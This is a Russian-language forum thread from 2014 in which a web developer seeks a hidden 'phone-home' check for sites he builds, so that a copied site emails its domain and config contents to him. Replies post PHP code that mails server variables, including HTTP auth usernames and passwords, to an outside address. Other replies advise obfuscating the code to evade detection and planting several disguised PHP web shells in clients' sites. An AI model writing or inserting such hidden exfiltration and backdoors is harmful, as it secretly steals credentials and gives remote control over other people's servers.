Стучалка на сайт, домен + что в конфине на мыло

Тема в разделе "Как сделать...", создана пользователем DIA123, 13 авг 2014.

  1. DIA123

    DIA123 Создатель

    Регистр.:
    30 дек 2011
    Сообщения:
    10
    Симпатии:
    4
    Кто нибудь знает как делается это ?
    При несовпадении домена, что бы отсылалось письмо с доменом и текстом конфига на мыло
     
    Шумадан нравится это.
  2. Platton

    Platton Постоялец

    Регистр.:
    10 май 2014
    Сообщения:
    77
    Симпатии:
    18
    Есть разные способы.. Обычно это делается посредством php скриптов, которые могут быть кодированы
     
    DIA123 и Шумадан нравится это.
  3. DIA123

    DIA123 Создатель

    Регистр.:
    30 дек 2011
    Сообщения:
    10
    Симпатии:
    4
    Кодировать не особо требуется,
    есть вариант но не работает и без конфига в нете нашел. может есть уже что то из готового или что то из чего слепить подтолкните

    Код:
    function verification(){
    global $conf;   
    if($_SERVER['HTTP_HOST']!="www.suite.ru"){
        $message=$_SERVER['HTTP_HOST'];
        $subject="установили на сайт";
        $mheader = "MIME-Version: 1.0\n"
        ."Content-Type: text/html; charset="._CHARSET."\n"
        ."Content-Transfer-Encoding: 8bit\n"
        ."Reply-To: \"$smail\" <$smail>\n"
        ."From: \"$smail\" <$smail>\n"
        ."Return-Path: <$smail>\n"
        ."X-Priority: $pr\n"
        ."X-Mailer: CMS Mailer\n";
    mail("name@email.ru", $subject, $message, $mheader);
    
    }
    
    }
     
    KPACHODAP и Шумадан нравится это.
  4. Шумадан

    Шумадан Хабарра!!11

    Регистр.:
    6 фев 2008
    Сообщения:
    1.728
    Симпатии:
    2.105
    кодировать нужно, чтоб тяжелее обнаружить код, какимто обфускатором, хотя eval и base64_decode вылавливаются на раз
     
    Джуга, Ctrogan, SilverGhost и ещё 1-му нравится это.
  5. Platton

    Platton Постоялец

    Регистр.:
    10 май 2014
    Сообщения:
    77
    Симпатии:
    18
    Давайте вначале разберемся что вам конкретно нужно сделать. Я так понял у вас есть модуль который при не легальном использовании, будет вам сигнализировать на почту?
     
    DIA123 нравится это.
  6. DIA123

    DIA123 Создатель

    Регистр.:
    30 дек 2011
    Сообщения:
    10
    Симпатии:
    4
    Сделал сайт, и просто эти заказчики могут скопировать базу сайта и не заплатить в полной мере, вот защитка от этого, люди в PHP не особо шарят так что кодировать не особо требуется, можно конечно для опыты + надежность что не удалят
     
    Шумадан нравится это.
  7. Шумадан

    Шумадан Хабарра!!11

    Регистр.:
    6 фев 2008
    Сообщения:
    1.728
    Симпатии:
    2.105
    в таком случае оставь ещё пхп шел (несколько в разных местах), назви его както витиевато, тоже полезным будет
     
    Джуга, Дмитрий228, Ctrogan и ещё 1-му нравится это.
  8. SocMaster

    SocMaster aka Hakerok

    Регистр.:
    26 июл 2011
    Сообщения:
    213
    Симпатии:
    47
    Ну где то оставьте просто условие на совпадения домена с тем что вам надо
    типа
    Код:
    if ($_SERVER['HTTP_HOST'] != "www.мой_супер _сайт"){
    mail() // отправка почты
    }
    Конечно это самое элементарное. Но если владелец сайта не понимает ничего в коде, то можно использовать.
     
  9. KPACHODAP

    KPACHODAP DELETED

    Регистр.:
    21 дек 2009
    Сообщения:
    639
    Симпатии:
    111


    Почему не отсылает на почту? вообще не почте нету писем(((!
    PHP:
    <?php




    if ($_SERVER['HTTP_HOST'] != "www.sitename.ru") {

    $indicesServer = array('PHP_SELF',
    'argv',
    'argc',
    'GATEWAY_INTERFACE',
    'SERVER_ADDR',
    'SERVER_NAME',
    'SERVER_SOFTWARE',
    'SERVER_PROTOCOL',
    'REQUEST_METHOD',
    'REQUEST_TIME',
    'REQUEST_TIME_FLOAT',
    'QUERY_STRING',
    'DOCUMENT_ROOT',
    'HTTP_ACCEPT',
    'HTTP_ACCEPT_CHARSET',
    'HTTP_ACCEPT_ENCODING',
    'HTTP_ACCEPT_LANGUAGE',
    'HTTP_CONNECTION',
    'HTTP_HOST',
    'HTTP_REFERER',
    'HTTP_USER_AGENT',
    'HTTPS',
    'REMOTE_ADDR',
    'REMOTE_HOST',
    'REMOTE_PORT',
    'REMOTE_USER',
    'REDIRECT_REMOTE_USER',
    'SCRIPT_FILENAME',
    'SERVER_ADMIN',
    'SERVER_PORT',
    'SERVER_SIGNATURE',
    'PATH_TRANSLATED',
    'SCRIPT_NAME',
    'REQUEST_URI',
    'PHP_AUTH_DIGEST',
    'PHP_AUTH_USER',
    'PHP_AUTH_PW',
    'AUTH_TYPE',
    'PATH_INFO',
    'ORIG_PATH_INFO') ;





        
    $to 'user@mail.ru'// куда должно приходить письмо
        
    $from='info@sitename.ru'// от какого адресата
        
    $subject 'Копия на '.$_SERVER['HTTP_HOST'].'';
        
    $message "<h1>Сайт спиздили!</h1>";
      
        foreach (
    $indicesServer as $arg) {
        if (isset(
    $_SERVER[$arg])) {
           
    $message .= '<p><span>'.$arg.':</span> <span>' $_SERVER[$arg] . '</span></p>' ;
        }
        else {
            
    $message .= '<p><span>'.$arg.':</span> <span> - </span></p>' ;
        }
        }

      

        
    $headers  "Content-type: text/plain; charset=\"utf-8\" \r\n";
        
    $headers .= "From: " $from "\r\n";
        
    mail($to'=?UTF-8?B?'.base64_encode($subject).'?='$message$headers);
        
    //die('Спасибо! Ваше письмо отправлено.');

    }
     
  10. Шумадан

    Шумадан Хабарра!!11

    Регистр.:
    6 фев 2008
    Сообщения:
    1.728
    Симпатии:
    2.105
    попробуйте этот пример, достал со старого сайта, там немного нужно одуплить, что передавать, но там не сложно. попробуте с какимто известным шлюзом отправки мыла поиграться
     

    Вложения:

    KPACHODAP нравится это.